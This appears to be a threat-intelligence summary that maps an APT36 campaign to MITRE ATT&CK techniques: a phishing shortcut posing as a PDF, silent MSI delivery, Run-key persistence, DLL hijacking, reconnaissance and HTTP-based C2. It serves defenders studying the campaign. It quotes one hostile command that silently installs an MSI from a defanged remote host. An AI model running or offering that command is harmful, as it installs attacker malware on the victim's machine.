APT36 LNK-BASED MALWARE CAMPAIGN LEVERAGING MSI PAYLOAD DELIVERY

MITRE Techniques

• [T1566.001 ] Phishing: Spear phishing Attachment – Used to deliver a malicious .lnk file disguised as a PDF to initiate infection (‘Uses deceptive shortcut (.lnk) files masquerading as legitimate PDF advisories to trick victims into executing malicious code.’).
• [T1059.001 ] Command and Scripting Interpreter: PowerShell – Listed as an execution technique in the report and the campaign uses command interpreters to run obfuscated commands (relevant execution example: ‘C:WindowsSystem32cmd.exe /c msiexec.exe /q /i https[:]//aeroclubofindia[.]co[.]in/css/NCERT-Whatsapp-Advisory/winc’).
• [T1547.001 ] Registry Run Keys / Startup Folder – Persistence achieved by HTA-created VBScript that adds PcDirvs.exe to the Windows Run registry key (‘creates a malicious PcDirvs.hta file containing an embedded VBScript that adds PcDirvs.exe to the Windows Run registry key’).
• [T1027 ] Obfuscated Files or Information – Obfuscation used across the campaign to evade detection, including caret insertion and reversed endpoint strings (’employs command-line obfuscation and encoded MSI-based delivery to evade casual inspection and static detection.’).
• [T1027.002 ] Software Packing – Payloads are embedded within the MSI and delivered as packaged components (‘The MSI file contains embedded components, ConsoleApp1.exe, along with a DLL file.’).
• [T1027.009 ] Embedded Payloads – MSI contains embedded executables and DLLs decoded at runtime (‘The MSI file contains embedded components, ConsoleApp1.exe, along with a DLL file.’).
• [T1564.003 ] Hidden Window – Execution and launcher operate in hidden mode to reduce visibility (‘The shortcut executes an obfuscated command using cmd.exe in hidden mode.’ / ‘The HTA is launched with windowsStyle.Hidden’).
• [T1574.001 ] Hijack Execution Flow: DLL – DLL hijacking used to intercept execution flow via a malicious wininet.dll (‘Deploys a malicious wininet.dll to intercept execution flow and establish command-and-control functionality.’).
• [T1087 ] Account Discovery – The malware conducts reconnaissance of the victim environment, consistent with account and environment discovery (‘System and Security Reconnaissance: Collects information about the victim environment, including installed antivirus products and anti-VM status.’).
• [T1217 ] Browser Information Discovery – Listed in the mapping as a reconnaissance capability to gather environment details (‘Browser Information Discovery’).
• [T1083 ] File and Directory Discovery – The loader drops and enumerates files and directories to place payloads in ProgramData and other locations (‘decodes and writes a DLL file to: C:ProgramDataPcDirvspdf.dll’).
• [T1082 ] System Information Discovery – The malware collects system-level details and AV/anti-VM status to inform behavior (‘Collects information about the victim environment, including installed antivirus products and anti-VM status.’).
• [T1005 ] Data from Local System – The toolkit supports collection of local system data for exfiltration or reconnaissance (‘Collects information about the victim environment…’ and drops/reads local files such as the decoy PDF and dropped executables).’
• [T1071.004 ] Application Layer Protocol: DNS – Mapped in the report as a C2 channel technique while the DLL actually implements obfuscated HTTP GET–based endpoints to communicate with C2 (‘The DLL implements multiple HTTP GET–based endpoints to establish communication with the C2 server…’).
• [T1041 ] Exfiltration Over C2 Channel – The C2 mechanism supports retrieval of commands and could be used for exfiltration over the established channel (‘Retrieves attacker-issued commands from the server and executes them via: “cmd.exe /c “, enabling the threat actor to remotely run arbitrary commands…’).
• [T1485 ] Data Destruction – Listed as an impact technique in the report’s MITRE mapping (report lists ‘Data Destruction’ as an impact mapping).